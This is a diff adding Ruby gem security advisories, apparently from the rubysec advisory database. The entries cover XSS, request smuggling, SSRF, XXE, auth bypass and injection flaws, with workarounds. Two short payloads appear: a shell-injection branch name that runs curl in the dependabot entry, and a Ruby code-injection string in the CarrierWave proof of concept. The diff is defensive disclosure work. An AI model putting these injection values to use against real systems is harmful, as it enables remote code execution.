+    - https://nvd.nist.gov/vuln/detail/cve-2012-6708
+    - https://github.com/rails/jquery-rails/blob/v2.1.4/vendor/assets/javascripts/jquery.js#L59
+    - https://github.com/rails/jquery-rails/blob/v2.2.0/vendor/assets/javascripts/jquery.js#L67
+    - https://github.com/advisories/GHSA-2pqj-h3vj-pqgw
+  notes: Found 2 jquery-rails in GHSA database.
+---
diff --git a/advisories/_posts/2020-09-09-CVE-2020-15169.md b/advisories/_posts/2020-09-09-CVE-2020-15169.md
new file mode 100644
index 00000000..994055e7
--- /dev/null
+++ b/advisories/_posts/2020-09-09-CVE-2020-15169.md
@@ -0,0 +1,51 @@
+---
+layout: advisory
+title: 'CVE-2020-15169 (actionview): Potential XSS vulnerability in Action View'
+comments: false
+categories:
+- actionview
+- rails
+advisory:
+  gem: actionview
+  framework: rails
+  cve: 2020-15169
+  ghsa: cfjv-5498-mph5
+  url: https://groups.google.com/g/rubyonrails-security/c/b-C9kSGXYrc
+  title: Potential XSS vulnerability in Action View
+  date: 2020-09-09
+  description: |
+    There is a potential Cross-Site Scripting (XSS) vulnerability in Action
+    View's translation helpers. Views that allow the user to control the
+    default (not found) value of the `t` and `translate` helpers could be
+    susceptible to XSS attacks.
+
+    Impact
+    ------
+
+    When an HTML-unsafe string is passed as the default for a missing
+    translation key [named `html` or ending in `_html`](https://guides.rubyonrails.org/i18n.html#using-safe-html-translations),
+    the default string is incorrectly marked as HTML-safe and not escaped.
+    Vulnerable code may look like the following examples:
+
+    ```erb
+    <%# The welcome_html translation is not defined for the current locale: %>
+    <%= t("welcome_html", default: untrusted_user_controlled_string) %>
+
+    <%# Neither the title.html translation nor the missing.html translation is defined for the current locale: %>
+    <%= t("title.html", default: [:"missing.html", untrusted_user_controlled_string]) %>
+    ```
+
+    Workarounds
+    -----------
+    Impacted users who can’t upgrade to a patched Rails version can avoid
+    this issue by manually escaping default translations with the
+    `html_escape` helper (aliased as `h`):
+
+    ```erb
+    <%= t("welcome_html", default: h(untrusted_user_controlled_string)) %>
+    ```
+  cvss_v3: 5.4
+  patched_versions:
+  - "~> 5.2.4, >= 5.2.4.4"
+  - ">= 6.0.3.3"
+---
diff --git a/advisories/_posts/2020-09-18-CVE-2020-25739.md b/advisories/_posts/2020-09-18-CVE-2020-25739.md
new file mode 100644
index 00000000..284957f0
--- /dev/null
+++ b/advisories/_posts/2020-09-18-CVE-2020-25739.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2020-25739 (gon): Gon gem lack of escaping certain input when outputting
+  as JSON'
+comments: false
+categories:
+- gon
+advisory:
+  gem: gon
+  cve: 2020-25739
+  ghsa: 78vq-9j56-wrfr
+  url: https://github.com/gazay/gon/commit/fe3c7b2191a992386dc9edd37de5447a4e809bc7
+  title: Gon gem lack of escaping certain input when outputting as JSON
+  date: 2020-09-18
+  description: |
+    An issue was discovered in the gon gem before gon-6.4.0 for Ruby. MultiJson
+    does not honor the escape_mode parameter to escape fields as an XSS
+    protection mechanism. To mitigate, json_dumper.rb in gon now does escaping
+    for XSS by default without relying on MultiJson.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 6.4.0"
+---
diff --git a/advisories/_posts/2020-09-23-GHSA-vp9c-fpxx-744v.md b/advisories/_posts/2020-09-23-GHSA-vp9c-fpxx-744v.md
new file mode 100644
index 00000000..f555bc1e
--- /dev/null
+++ b/advisories/_posts/2020-09-23-GHSA-vp9c-fpxx-744v.md
@@ -0,0 +1,29 @@
+---
+layout: advisory
+title: 'GHSA-vp9c-fpxx-744v (personnummer): Validation bypass vulnerability'
+comments: false
+categories:
+- personnummer
+advisory:
+  gem: personnummer
+  ghsa: vp9c-fpxx-744v
+  url: https://github.com/personnummer/ruby/security/advisories/GHSA-vp9c-fpxx-744v
+  date: 2020-09-23
+  title: Validation bypass vulnerability
+  description: |
+    # Impact
+    This vulnerability impacts users who rely on the last four digits of personnummer to
+    be a _real_ personnummer.
+
+    # Workaround
+    The issue arises from the regular expression allowing the first three digits in the
+    last four digits of the personnummer to be 000, which is invalid. To mitigate this
+    without upgrading, a check on the last four digits can be made to make sure it's
+    not 000x.
+  patched_versions:
+  - ">= 1.3.1"
+  related:
+    url:
+    - https://github.com/personnummer/ruby/issues/9
+    - https://github.com/personnummer/ruby/pull/10
+---
diff --git a/advisories/_posts/2020-09-29-CVE-2020-25613.md b/advisories/_posts/2020-09-29-CVE-2020-25613.md
new file mode 100644
index 00000000..da1959c9
--- /dev/null
+++ b/advisories/_posts/2020-09-29-CVE-2020-25613.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2020-25613 (webrick): Potential HTTP Request Smuggling Vulnerability in
+  WEBrick'
+comments: false
+categories:
+- webrick
+advisory:
+  gem: webrick
+  cve: 2020-25613
+  ghsa: gwfg-cqmg-cf8f
+  url: https://www.ruby-lang.org/en/news/2020/09/29/http-request-smuggling-cve-2020-25613/
+  title: Potential HTTP Request Smuggling Vulnerability in WEBrick
+  date: 2020-09-29
+  description: |
+    WEBrick was too tolerant against an invalid Transfer-Encoding header. This may lead to
+    inconsistent interpretation between WEBrick and some HTTP proxy servers, which may
+    allow the attacker to "smuggle" a request. See CWE-444 in detail.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.6.1"
+---
diff --git a/advisories/_posts/2020-09-30-CVE-2020-36327.md b/advisories/_posts/2020-09-30-CVE-2020-36327.md
new file mode 100644
index 00000000..b4c19816
--- /dev/null
+++ b/advisories/_posts/2020-09-30-CVE-2020-36327.md
@@ -0,0 +1,36 @@
+---
+layout: advisory
+title: 'CVE-2020-36327 (bundler): Dependency Confusion in Bundler with Implicit Private
+  Dependencies'
+comments: false
+categories:
+- bundler
+advisory:
+  gem: bundler
+  cve: 2020-36327
+  ghsa: fp4w-jxhp-m23p
+  date: 2020-09-30
+  url: https://github.com/rubygems/rubygems/issues/3982
+  title: Dependency Confusion in Bundler with Implicit Private Dependencies
+  description: |
+    Bundler 1.16.0 through 2.2.9 and 2.2.11 through 2.2.17 sometimes chooses a
+    dependency source based on the highest gem version number, which means that a
+    rogue gem found at a public source may be chosen, even if the intended choice
+    was a private gem that is a dependency of another private gem that is
+    explicitly depended on by the application.
+  cvss_v3: 8.8
+  patched_versions:
+  - "= 2.2.10"
+  - ">= 2.2.18"
+  unaffected_versions:
+  - "< 1.16.0"
+  related:
+    cve:
+    - 2021-24105
+    url:
+    - https://bundler.io/blog/2021/02/15/a-more-secure-bundler-we-fixed-our-source-priorities.html
+    - https://mensfeld.pl/2021/02/rubygems-dependency-confusion-attack-side-of-things/
+    - https://www.zofrex.com/blog/2021/04/29/bundler-still-vulnerable-dependency-confusion-cve-2020-36327/
+    - https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-24105
+    - https://github.com/rubygems/rubygems/pull/4609
+---
diff --git a/advisories/_posts/2020-10-05-CVE-2020-15237.md b/advisories/_posts/2020-10-05-CVE-2020-15237.md
new file mode 100644
index 00000000..b754df36
--- /dev/null
+++ b/advisories/_posts/2020-10-05-CVE-2020-15237.md
@@ -0,0 +1,50 @@
+---
+layout: advisory
+title: 'CVE-2020-15237 (shrine): Possible timing attack in derivation_endpoint'
+comments: false
+categories:
+- shrine
+advisory:
+  gem: shrine
+  cve: 2020-15237
+  ghsa: 5jjv-x4fq-qjwp
+  url: https://github.com/shrinerb/shrine/security/advisories/GHSA-5jjv-x4fq-qjwp
+  date: 2020-10-05
+  title: Possible timing attack in derivation_endpoint
+  description: |
+    ### Impact
+
+    When using the `derivation_endpoint` plugin, it's possible for the attacker to use a timing attack
+    to guess the signature of the derivation URL.
+
+    ### Patches
+
+    The problem has been fixed by comparing sent and calculated signature in constant time, using
+    `Rack::Utils.secure_compare`. Users using the `derivation_endpoint` plugin are urged to upgrade
+    to Shrine 3.3.0 or greater.
+
+    ### Workarounds
+
+    Users of older Shrine versions can apply the following monkey-patch after loading the `derivation_endpoint` plugin:
+
+    ```rb
+    class Shrine
+      class UrlSigner
+        def verify_signature(string, signature)
+          if signature.nil?
+            fail InvalidSignature, "missing \"signature\" param"
+          elsif !Rack::Utils.secure_compare(signature, generate_signature(string))
+            fail InvalidSignature, "provided signature does not match the calculated signature"
+          end
+        end
+      end
+    end
+    ```
+
+    ### References
+
+    You can read more about timing attacks [here](https://en.wikipedia.org/wiki/Timing_attack).
+  cvss_v3: 5.9
+  patched_versions:
+  - ">= 3.3.0"
+---
diff --git a/advisories/_posts/2020-10-07-CVE-2020-8264.md b/advisories/_posts/2020-10-07-CVE-2020-8264.md
new file mode 100644
index 00000000..ffc3a157
--- /dev/null
+++ b/advisories/_posts/2020-10-07-CVE-2020-8264.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2020-8264 (actionpack): Possible XSS Vulnerability in Action Pack in Development
+  Mode'
+comments: false
+categories:
+- actionpack
+- rails
+advisory:
+  gem: actionpack
+  framework: rails
+  cve: 2020-8264
+  ghsa: 35mm-cc6r-8fjp
+  url: https://groups.google.com/g/rubyonrails-security/c/yQzUVfv42jk
+  title: Possible XSS Vulnerability in Action Pack in Development Mode
+  date: 2020-10-07
+  description: |
+    There is a possible XSS vulnerability in Action Pack while the application
+    server is in development mode.  This vulnerability is in the Actionable
+    Exceptions middleware.  This vulnerability has been assigned the CVE
+    identifier CVE-2020-8264.
+
+    Versions Affected:  >= 6.0.0
+    Not affected:       < 6.0.0
+    Fixed Versions:     6.0.3.4
+
+    Impact
+    ------
+    When an application is running in development mode, and attacker can send or
+    embed (in another page) a specially crafted URL which can allow the attacker
+    to execute JavaScript in the context of the local application.
+
+    Workarounds
+    -----------
+    Until such time as the patch can be applied, application developers should
+    disable the Actionable Exceptions middleware in their development environment via
+    a line such as this one in their config/environment/development.rb:
+
+    `config.middleware.delete ActionDispatch::ActionableExceptions`
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 6.0.0"
+  patched_versions:
+  - ">= 6.0.3.4"
+---
diff --git a/advisories/_posts/2020-10-20-CVE-2020-15269.md b/advisories/_posts/2020-10-20-CVE-2020-15269.md
new file mode 100644
index 00000000..e2ae95a9
--- /dev/null
+++ b/advisories/_posts/2020-10-20-CVE-2020-15269.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2020-15269 (spree): Ensure that doorkeeper_token is valid when authenticating
+  requests in API v2 calls'
+comments: false
+categories:
+- spree
+advisory:
+  gem: spree
+  cve: 2020-15269
+  ghsa: f8cm-364f-q9qh
+  url: https://github.com/spree/spree/security/advisories/GHSA-f8cm-364f-q9qh
+  date: 2020-10-20
+  title: Ensure that doorkeeper_token is valid when authenticating requests in API
+    v2 calls
+  description: |
+    ### Impact
+
+    The perpetrator who previously obtained an old expired user
+    token could use it to access Storefront API v2 endpoints.
+
+    ### Patches
+
+    Please upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version.
+  cvss_v3: 7.4
+  patched_versions:
+  - "~> 3.7.11"
+  - "~> 4.0.4"
+  - ">= 4.1.11"
+  unaffected_versions:
+  - "< 3.7.0"
+---
diff --git a/advisories/_posts/2020-10-20-CVE-2020-7670.md b/advisories/_posts/2020-10-20-CVE-2020-7670.md
new file mode 100644
index 00000000..3bf407e6
--- /dev/null
+++ b/advisories/_posts/2020-10-20-CVE-2020-7670.md
@@ -0,0 +1,26 @@
+---
+layout: advisory
+title: 'CVE-2020-7670 (agoo): HTTP Request Smuggling in Agoo'
+comments: false
+categories:
+- agoo
+advisory:
+  gem: agoo
+  cve: 2020-7670
+  ghsa: h385-52j6-9984
+  url: https://github.com/ohler55/agoo/issues/88
+  date: 2020-10-20
+  title: HTTP Request Smuggling in Agoo
+  description: |
+    agoo through 2.12.3 allows request smuggling attacks where agoo is used
+    as a backend and a frontend proxy also being vulnerable. It is possible to conduct
+    HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore,
+    invalid Transfer Encoding headers were found to be parsed as valid which could be
+    leveraged for TE:CL smuggling attacks.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.13.0"
+  related:
+    url:
+    - https://github.com/ohler55/agoo/commit/23d03535cf7b50d679a60a953a0cae9519a4a130
+---
diff --git a/advisories/_posts/2020-11-03-CVE-2020-15240.md b/advisories/_posts/2020-11-03-CVE-2020-15240.md
new file mode 100644
index 00000000..6c14ffbb
--- /dev/null
+++ b/advisories/_posts/2020-11-03-CVE-2020-15240.md
@@ -0,0 +1,38 @@
+---
+layout: advisory
+title: 'CVE-2020-15240 (omniauth-auth0): Regression in JWT Signature Validation'
+comments: false
+categories:
+- omniauth-auth0
+advisory:
+  gem: omniauth-auth0
+  cve: 2020-15240
+  ghsa: 58r4-h6v8-jcvm
+  url: https://github.com/auth0/omniauth-auth0/security/advisories/GHSA-58r4-h6v8-jcvm
+  date: 2020-11-03
+  title: Regression in JWT Signature Validation
+  description: |
+    ### Overview
+    Versions after and including `2.3.0` are improperly validating the JWT token signature when
+    using the `JWTValidator.verify` method.  Improper validation of the JWT token signature when
+    not using the default Authorization Code Flow can allow an attacker to bypass authentication
+    and authorization.
+
+    ### Am I affected?
+    You are affected by this vulnerability if all of the following conditions apply:
+
+    - You are using `omniauth-auth0`.
+    - You are using `JWTValidator.verify` method directly OR you are not authenticating using the
+      SDK’s default Authorization Code Flow.
+
+    ### How to fix that?
+    Upgrade to version `2.4.1`.
+
+    ### Will this update impact my users?
+    The fix provided in this version will not affect your users.
+  cvss_v3: 7.4
+  patched_versions:
+  - ">= 2.4.1"
+  unaffected_versions:
+  - "< 2.3.0"
+---
diff --git a/advisories/_posts/2020-11-13-CVE-2020-26222.md b/advisories/_posts/2020-11-13-CVE-2020-26222.md
new file mode 100644
index 00000000..476a7d45
--- /dev/null
+++ b/advisories/_posts/2020-11-13-CVE-2020-26222.md
@@ -0,0 +1,74 @@
+---
+layout: advisory
+title: 'CVE-2020-26222 (dependabot-omnibus): Remote code execution in dependabot-core
+  branch names when cloning'
+comments: false
+categories:
+- dependabot-omnibus
+advisory:
+  gem: dependabot-omnibus
+  cve: 2020-26222
+  ghsa: 23f7-99jx-m54r
+  url: https://github.com/dependabot/dependabot-core/security/advisories/GHSA-23f7-99jx-m54r
+  date: 2020-11-13
+  title: Remote code execution in dependabot-core branch names when cloning
+  description: |
+    ### Impact
+    Remote code execution vulnerability in `dependabot-common` and
+    `dependabot-go_modules` when a source branch name contains malicious
+    injectable bash code.
+
+    For example, if Dependabot is configured to use the following source branch
+    name: `"/$({curl,127.0.0.1})"`, Dependabot will make a HTTP request to the
+    following URL: 127.0.0.1 when cloning the source repository.
+
+    When Dependabot is configured to clone the source repository during an update,
+    Dependabot runs a shell command to git clone the repository:
+
+    ```bash
+    git clone --no-tags --no-recurse-submodules --depth=1 --branch=<BRANCH> --single-branch <GITHUB_REPO_URL> repo/contents/path
+    ```
+
+    Dependabot will always clone the source repository for `go_modules` during the
+    file fetching step and can be configured to clone the repository for other
+    package managers using the `FileFetcher` class from `dependabot-common`.
+
+    ```ruby
+    source = Dependabot::Source.new(
+      provider: "github",
+      repo: "repo/name",
+      directory: "/",
+      branch: "/$({curl,127.0.0.1})",
+    )
+
+    repo_contents_path = "./file/path"
+    fetcher = Dependabot::FileFetchers.for_package_manager("bundler").
+                      new(source: source, credentials: [],
+                      repo_contents_path: repo_contents_path)
+    fetcher.clone_repo_contents
+    ```
+
+    ### Workarounds
+    Escape the branch name prior to passing it to the `Dependabot::Source` class.
+
+    For example using `shellwords`:
+
+    ```ruby
+    require "shellwords"
+    branch = Shellwords.escape("/$({curl,127.0.0.1})")
+    source = Dependabot::Source.new(
+      provider: "github",
+      repo: "repo/name",
+      directory: "/",
+      branch: branch,
+    )
+    ```
+  cvss_v3: 8.7
+  patched_versions:
+  - ">= 0.125.1"
+  unaffected_versions:
+  - "< 0.119.0.beta1"
+  related:
+    url:
+    - https://github.com/dependabot/dependabot-core/pull/2727
+---
diff --git a/advisories/_posts/2020-11-13-CVE-2020-26223.md b/advisories/_posts/2020-11-13-CVE-2020-26223.md
new file mode 100644
index 00000000..0055859f
--- /dev/null
+++ b/advisories/_posts/2020-11-13-CVE-2020-26223.md
@@ -0,0 +1,33 @@
+---
+layout: advisory
+title: 'CVE-2020-26223 (spree_api): Authorization bypass in Spree'
+comments: false
+categories:
+- spree_api
+advisory:
+  gem: spree_api
+  cve: 2020-26223
+  ghsa: m2jr-hmc3-qmpr
+  url: https://github.com/spree/spree/security/advisories/GHSA-m2jr-hmc3-qmpr
+  date: 2020-11-13
+  title: Authorization bypass in Spree
+  description: |
+    ### Impact
+    The perpetrator could query the [API v2 Order Status]
+    (https://guides.spreecommerce.org/api/v2/storefront#tag/Order-Status) endpoint
+    with an empty string passed as an Order token
+
+    ### Patches
+    Please upgrade to 3.7.11, 4.0.4, or 4.1.11 depending on your used Spree version.
+    Users of Spree < 3.7 are not affected.
+  cvss_v3: 7.7
+  patched_versions:
+  - "~> 3.7.11"
+  - "~> 4.0.4"
+  - ">= 4.1.11"
+  unaffected_versions:
+  - "< 3.7.0"
+  related:
+    url:
+    - https://github.com/spree/spree/pull/10573
+---
diff --git a/advisories/_posts/2020-12-08-CVE-2020-26254.md b/advisories/_posts/2020-12-08-CVE-2020-26254.md
new file mode 100644
index 00000000..66bed511
--- /dev/null
+++ b/advisories/_posts/2020-12-08-CVE-2020-26254.md
@@ -0,0 +1,52 @@
+---
+layout: advisory
+title: 'CVE-2020-26254 (omniauth-apple): omniauth-apple allows attacker to fake their
+  email address during authentication'
+comments: false
+categories:
+- omniauth-apple
+advisory:
+  gem: omniauth-apple
+  cve: 2020-26254
+  ghsa: 49r3-2549-3633
+  url: https://github.com/nhosoya/omniauth-apple/security/advisories/GHSA-49r3-2549-3633
+  date: 2020-12-08
+  title: omniauth-apple allows attacker to fake their email address during authentication
+  description: |
+    ### Impact
+
+    This vulnerability impacts applications using the [omniauth-apple](https://github.com/nhosoya/omniauth-apple) strategy of OmniAuth and using the `info.email` field of OmniAuth's [Auth Hash Schema](https://github.com/omniauth/omniauth/wiki/Auth-Hash-Schema) for any kind of identification.  The value of this field may be set to any value of the attacker's choice including email addresses of other users.
+
+    For example, an application using omniauth-apple with the following code will be impacted:
+    ```ruby
+    def omniauth_callback
+        auth_hash = request.env['omniauth.auth']
+        @authenticated_user = User.find_by(email: auth_hash.info.email)
+    end
+    ```
+
+    Applications not using `info.email` for identification but are instead using the `uid` field are not impacted in the same manner.  Note, these applications may still be negatively affected if the value of `info.email` is being used for other purposes.
+
+    ### Patches
+
+    Applications using affected versions of omniauth-apple are advised to upgrade to omniauth-apple version 1.0.1 or later.
+
+    ### Workarounds
+
+    If unable to upgrade to a patched version, monkey patching `OmniAuth::Strategies::Apple#email` as follows is advised as a workaround:
+
+    ```ruby
+    module OmniAuth
+      module Strategies
+        class Apple
+          def email
+            id_info['email']
+          end
+        end
+      end
+    end
+    ```
+  cvss_v3: 7.7
+  patched_versions:
+  - ">= 1.0.1"
+---
diff --git a/advisories/_posts/2020-12-30-CVE-2020-26247.md b/advisories/_posts/2020-12-30-CVE-2020-26247.md
new file mode 100644
index 00000000..5b1b0893
--- /dev/null
+++ b/advisories/_posts/2020-12-30-CVE-2020-26247.md
@@ -0,0 +1,75 @@
+---
+layout: advisory
+title: 'CVE-2020-26247 (nokogiri): Nokogiri::XML::Schema trusts input by default,
+  exposing risk of an XXE vulnerability'
+comments: false
+categories:
+- nokogiri
+advisory:
+  gem: nokogiri
+  cve: 2020-26247
+  ghsa: vr8q-g5c7-m54m
+  url: https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-vr8q-g5c7-m54m
+  date: 2020-12-30
+  title: Nokogiri::XML::Schema trusts input by default, exposing risk of an XXE vulnerability
+  description: |
+    ### Description
+
+    In Nokogiri versions <= 1.11.0.rc3, XML Schemas parsed by `Nokogiri::XML::Schema`
+    are **trusted** by default, allowing external resources to be accessed over the
+    network, potentially enabling XXE or SSRF attacks.
+
+    This behavior is counter to
+    the security policy followed by Nokogiri maintainers, which is to treat all input
+    as **untrusted** by default whenever possible.
+
+    Please note that this security
+    fix was pushed into a new minor version, 1.11.x, rather than a patch release to
+    the 1.10.x branch, because it is a breaking change for some schemas and the risk
+    was assessed to be "Low Severity".
+
+    ### Affected Versions
+
+    Nokogiri `<= 1.10.10` as well as prereleases `1.11.0.rc1`, `1.11.0.rc2`, and `1.11.0.rc3`
+
+    ### Mitigation
+
+    There are no known workarounds for affected versions. Upgrade to Nokogiri
+    `1.11.0.rc4` or later.
+
+    If, after upgrading to `1.11.0.rc4` or later, you wish
+    to re-enable network access for resolution of external resources (i.e., return to
+    the previous behavior):
+
+    1. Ensure the input is trusted. Do not enable this option
+    for untrusted input.
+    2. When invoking the `Nokogiri::XML::Schema` constructor,
+    pass as the second parameter an instance of `Nokogiri::XML::ParseOptions` with the
+    `NONET` flag turned off.
+
+    So if your previous code was:
+
+    ``` ruby
+    # in v1.11.0.rc3 and earlier, this call allows resources to be accessed over the network
+    # but in v1.11.0.rc4 and later, this call will disallow network access for external resources
+    schema = Nokogiri::XML::Schema.new(schema)
+
+    # in v1.11.0.rc4 and later, the following is equivalent to the code above
+    # (the second parameter is optional, and this demonstrates its default value)
+    schema = Nokogiri::XML::Schema.new(schema, Nokogiri::XML::ParseOptions::DEFAULT_SCHEMA)
+    ```
+
+    Then you can add the second parameter to indicate that the input is trusted by changing it to:
+
+    ``` ruby
+    # in v1.11.0.rc3 and earlier, this would raise an ArgumentError
+    # but in v1.11.0.rc4 and later, this allows resources to be accessed over the network
+    schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)
+    ```
+  cvss_v3: 2.6
+  patched_versions:
+  - ">= 1.11.0.rc4"
+  related:
+    url:
+    - https://hackerone.com/reports/747489
+---
diff --git a/advisories/_posts/2021-01-11-CVE-2020-26298.md b/advisories/_posts/2021-01-11-CVE-2020-26298.md
new file mode 100644
index 00000000..00dcb8f8
--- /dev/null
+++ b/advisories/_posts/2021-01-11-CVE-2020-26298.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2020-26298 (redcarpet): Injection/XSS in Redcarpet'
+comments: false
+categories:
+- redcarpet
+advisory:
+  gem: redcarpet
+  cve: 2020-26298
+  ghsa: q3wr-qw3g-3p4h
+  url: https://github.com/vmg/redcarpet/commit/a699c82292b17c8e6a62e1914d5eccc252272793
+  date: 2021-01-11
+  title: Injection/XSS in Redcarpet
+  description: |
+    Redcarpet is a Ruby library for Markdown processing. In Redcarpet before
+    version 3.5.1, there is an injection vulnerability which can enable a cross-site
+    scripting attack. In affected versions no HTML escaping was being performed when
+    processing quotes. This applies even when the `:escape_html` option was being used.
+  cvss_v3: 6.8
+  patched_versions:
+  - ">= 3.5.1"
+  related:
+    url:
+    - https://github.com/vmg/redcarpet/blob/master/CHANGELOG.md#version-351-security
+---
diff --git a/advisories/_posts/2021-02-01-CVE-2021-21289.md b/advisories/_posts/2021-02-01-CVE-2021-21289.md
new file mode 100644
index 00000000..d30b26a0
--- /dev/null
+++ b/advisories/_posts/2021-02-01-CVE-2021-21289.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2021-21289 (mechanize): Mechanize ruby gem Command Injection vulnerability'
+comments: false
+categories:
+- mechanize
+advisory:
+  gem: mechanize
+  cve: 2021-21289
+  ghsa: qrqm-fpv6-6r8g
+  url: https://github.com/sparklemotion/mechanize/security/advisories/GHSA-qrqm-fpv6-6r8g
+  title: Mechanize ruby gem Command Injection vulnerability
+  date: 2021-02-01
+  description: |
+    ## Impact
+
+    Mechanize `>= v2.0`, `< v2.7.7` allows for OS commands to be injected using several
+    classes' methods which implicitly use Ruby's `Kernel.open` method. Exploitation is
+    possible only if untrusted input is used as a local filename and passed to any of
+    these calls:
+
+    * Mechanize::CookieJar#load: since v2.0 (see 208e3ed)
+    * Mechanize::CookieJar#save_as: since v2.0 (see 5b776a4)
+    * Mechanize#download: since v2.2 (see dc91667)
+    * Mechanize::Download#save and #save! since v2.1 (see 98b2f51, bd62ff0)
+    * Mechanize::File#save and #save_as: since v2.1 (see 2bf7519)
+    * Mechanize::FileResponse#read_body: since v2.0 (see 01039f5)
+
+    ## Patches
+
+    These vulnerabilities are patched in Mechanize v2.7.7.
+
+    ## Workarounds
+
+    No workarounds are available. We recommend upgrading to v2.7.7 or later.
+
+    ## References
+
+    See https://docs.rubocop.org/rubocop/cops_security.html#securityopen for background
+    on why `Kernel.open` should not be used with untrusted input.
+  cvss_v3: 7.4
+  unaffected_versions:
+  - "< 2.0"
+  patched_versions:
+  - ">= 2.7.7"
+---
diff --git a/advisories/_posts/2021-02-08-CVE-2021-21288.md b/advisories/_posts/2021-02-08-CVE-2021-21288.md
new file mode 100644
index 00000000..1ee83451
--- /dev/null
+++ b/advisories/_posts/2021-02-08-CVE-2021-21288.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2021-21288 (carrierwave): Server-side request forgery in CarrierWave'
+comments: false
+categories:
+- carrierwave
+advisory:
+  gem: carrierwave
+  cve: 2021-21288
+  ghsa: fwcm-636p-68r5
+  url: https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-fwcm-636p-68r5
+  date: 2021-02-08
+  title: Server-side request forgery in CarrierWave
+  description: |
+    ### Impact
+    [CarrierWave download feature](https://github.com/carrierwaveuploader/carrierwave#uploading-files-from-a-remote-location
+    has an SSRF vulnerability, allowing attacks to provide DNS entries or IP addresses that are intended for internal use
+    and gather information about the Intranet infrastructure of the platform.
+
+    ### Patches
+    Upgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or
+    [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).
+
+    ### Workarounds
+    Using proper network segmentation and applying the principle of least privilege to outbound connections from application
+    servers can reduce the severity of SSRF vulnerabilities. Ideally the vulnerable gem should run on an isolated server
+    without access to any internal network resources or cloud metadata access.
+  cvss_v3: 4.3
+  patched_versions:
+  - "~> 1.3.2"
+  - ">= 2.1.1"
+---
diff --git a/advisories/_posts/2021-02-08-CVE-2021-21305.md b/advisories/_posts/2021-02-08-CVE-2021-21305.md
new file mode 100644
index 00000000..3b952c0f
--- /dev/null
+++ b/advisories/_posts/2021-02-08-CVE-2021-21305.md
@@ -0,0 +1,43 @@
+---
+layout: advisory
+title: 'CVE-2021-21305 (carrierwave): Code Injection vulnerability in CarrierWave::RMagick'
+comments: false
+categories:
+- carrierwave
+advisory:
+  gem: carrierwave
+  cve: 2021-21305
+  ghsa: cf3w-g86h-35x4
+  url: https://github.com/carrierwaveuploader/carrierwave/security/advisories/GHSA-cf3w-g86h-35x4
+  date: 2021-02-08
+  title: Code Injection vulnerability in CarrierWave::RMagick
+  description: |
+    ### Impact
+    [CarrierWave::RMagick](https://github.com/carrierwaveuploader/carrierwave/blob/master/lib/carrierwave/processing/rmagick.rb)
+    has a Code Injection vulnerability. Its `#manipulate!` method inappropriately evals the content of mutation
+    option(`:read`/`:write`), allowing attackers to craft a string that can be executed as a Ruby code.
+    If an application developer supplies untrusted inputs to the option, it will lead to remote code execution(RCE).
+
+    (But supplying untrusted input to the option itself is dangerous even in absence of this vulnerability, since is prone to
+    DoS vulnerability - attackers can try to consume massive amounts of memory by resizing to a very large dimension)
+
+    ### Proof of Concept
+    ```ruby
+    class MyUploader < CarrierWave::Uploader::Base
+      include CarrierWave::RMagick
+    end
+
+    MyUploader.new.manipulate!({ read: { density: "1 }; p 'Hacked'; {" }}) # => shows "Hacked"
+    ```
+
+    ### Patches
+    Upgrade to [2.1.1](https://rubygems.org/gems/carrierwave/versions/2.1.1) or
+    [1.3.2](https://rubygems.org/gems/carrierwave/versions/1.3.2).
+
+    ### Workarounds
+    Stop supplying untrusted input to `#manipulate!`'s mutation option.
+  cvss_v3: 7.4
+  patched_versions:
+  - "~> 1.3.2"
+  - ">= 2.1.1"
+---
diff --git a/advisories/_posts/2021-02-10-CVE-2021-22880.md b/advisories/_posts/2021-02-10-CVE-2021-22880.md
new file mode 100644
index 00000000..e03c75aa
--- /dev/null
+++ b/advisories/_posts/2021-02-10-CVE-2021-22880.md
@@ -0,0 +1,71 @@
+---
+layout: advisory
+title: 'CVE-2021-22880 (activerecord): Possible DoS Vulnerability in Active Record
+  PostgreSQL adapter'
+comments: false
+categories:
+- activerecord
+- rails
+advisory:
+  gem: activerecord
+  framework: rails
+  cve: 2021-22880
+  ghsa: 8hc4-xxm3-5ppp
+  url: https://groups.google.com/g/rubyonrails-security/c/ZzUqCh9vyhI
+  title: Possible DoS Vulnerability in Active Record PostgreSQL adapter
+  date: 2021-02-10
+  description: |
+    There is a possible DoS vulnerability in the PostgreSQL adapter in Active
+    Record. This vulnerability has been assigned the CVE identifier CVE-2021-22880.
+
+    Versions Affected:  >= 4.2.0
+    Not affected:       < 4.2.0
+    Fixed Versions:     6.1.2.1, 6.0.3.5, 5.2.4.5
+
+    Impact
+    ------
+    Carefully crafted input can cause the input validation in the "money" type of
+    the PostgreSQL adapter in Active Record to spend too much time in a regular
+    expression, resulting in the potential for a DoS attack.
+
+    This only impacts Rails applications that are using PostgreSQL along with
+    money type columns that take user input.
+
+    Workarounds
+    -----------
+    In the case a patch can't be applied, the following monkey patch can be used
+    in an initializer:
+
+    ```
+    module ActiveRecord
+      module ConnectionAdapters
+        module PostgreSQL
+          module OID # :nodoc:
+            class Money < Type::Decimal # :nodoc:
+              def cast_value(value)
+                return value unless ::String === value
+
+                value = value.sub(/^\((.+)\)$/, '-\1') # (4)
+                case value
+                when /^-?\D*+[\d,]+\.\d{2}$/  # (1)
+                  value.gsub!(/[^-\d.]/, "")
+                when /^-?\D*+[\d.]+,\d{2}$/  # (2)
